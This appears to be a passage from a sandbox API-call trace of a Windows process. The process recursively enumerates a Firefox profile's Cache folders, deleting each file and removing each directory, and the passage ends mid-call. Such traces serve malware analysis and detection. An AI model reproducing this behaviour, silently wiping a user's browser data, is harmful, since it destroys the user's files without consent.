(lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\CB" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0\\cb")) returned 1 [0117.192] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="E1", cAlternateFileName="")) returned 1 [0117.192] lstrlenW (lpString="E1") returned 2 [0117.192] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0", pszFile="E1" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1" [0117.192] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1") returned 84 [0117.192] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.192] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.192] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.192] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1\\*.*" [0117.192] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.204] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.204] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4728, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="EBFA5d01", cAlternateFileName="")) returned 1 [0117.204] lstrlenW (lpString="EBFA5d01") returned 8 [0117.204] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1", pszFile="EBFA5d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1\\EBFA5d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1\\EBFA5d01" [0117.204] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1\\EBFA5d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0\\e1\\ebfa5d01")) returned 1 [0117.204] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4728, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="EBFA5d01", cAlternateFileName="")) returned 0 [0117.204] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.204] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.204] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.204] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.204] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\E1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0\\e1")) returned 1 [0117.205] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6308f7f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6308f7f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6308f7f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="F4", cAlternateFileName="")) returned 1 [0117.205] lstrlenW (lpString="F4") returned 2 [0117.205] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0", pszFile="F4" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4" [0117.205] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4") returned 84 [0117.205] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.205] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.205] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.205] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4\\*.*" [0117.205] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6308f7f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6308f7f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6308f7f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.208] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6308f7f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6308f7f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6308f7f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.209] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6308f7f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6308f7f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x630b5950, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x14658, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="9ADE8d01", cAlternateFileName="")) returned 1 [0117.209] lstrlenW (lpString="9ADE8d01") returned 8 [0117.209] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4", pszFile="9ADE8d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4\\9ADE8d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4\\9ADE8d01" [0117.209] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4\\9ADE8d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0\\f4\\9ade8d01")) returned 1 [0117.209] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6308f7f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6308f7f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x630b5950, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x14658, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="9ADE8d01", cAlternateFileName="")) returned 0 [0117.209] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.209] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.209] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.209] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.209] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0\\F4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0\\f4")) returned 1 [0117.209] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6308f7f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6308f7f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6308f7f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="F4", cAlternateFileName="")) returned 0 [0117.210] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.210] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.210] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.210] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.210] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\0" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\0")) returned 1 [0117.210] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="1", cAlternateFileName="")) returned 1 [0117.210] lstrlenW (lpString="1") returned 1 [0117.210] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="1" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1" [0117.210] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1") returned 81 [0117.210] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.210] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.210] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.210] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\*.*" [0117.210] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.211] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.211] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="03", cAlternateFileName="")) returned 1 [0117.211] lstrlenW (lpString="03") returned 2 [0117.211] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1", pszFile="03" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03" [0117.211] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03") returned 84 [0117.211] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.211] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.211] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.211] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03\\*.*" [0117.211] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.229] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.229] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63506130, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x13c06, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="3E20Ad01", cAlternateFileName="")) returned 1 [0117.229] lstrlenW (lpString="3E20Ad01") returned 8 [0117.229] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03", pszFile="3E20Ad01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03\\3E20Ad01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03\\3E20Ad01" [0117.229] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03\\3E20Ad01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\1\\03\\3e20ad01")) returned 1 [0117.230] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63506130, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x13c06, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="3E20Ad01", cAlternateFileName="")) returned 0 [0117.230] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.230] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.230] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.230] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.230] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\03" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\1\\03")) returned 1 [0117.230] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x637b39f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x637b39f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="E4", cAlternateFileName="")) returned 1 [0117.230] lstrlenW (lpString="E4") returned 2 [0117.230] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1", pszFile="E4" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4" [0117.230] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4") returned 84 [0117.230] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.230] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.230] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.230] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4\\*.*" [0117.230] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x637b39f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x637b39f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.231] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x637b39f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x637b39f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.231] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x637b39f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x637b39f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x637b39f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x47e8, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="3C9ECd01", cAlternateFileName="")) returned 1 [0117.231] lstrlenW (lpString="3C9ECd01") returned 8 [0117.231] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\1\\E4", pszFile="3C9ECd01" | out: 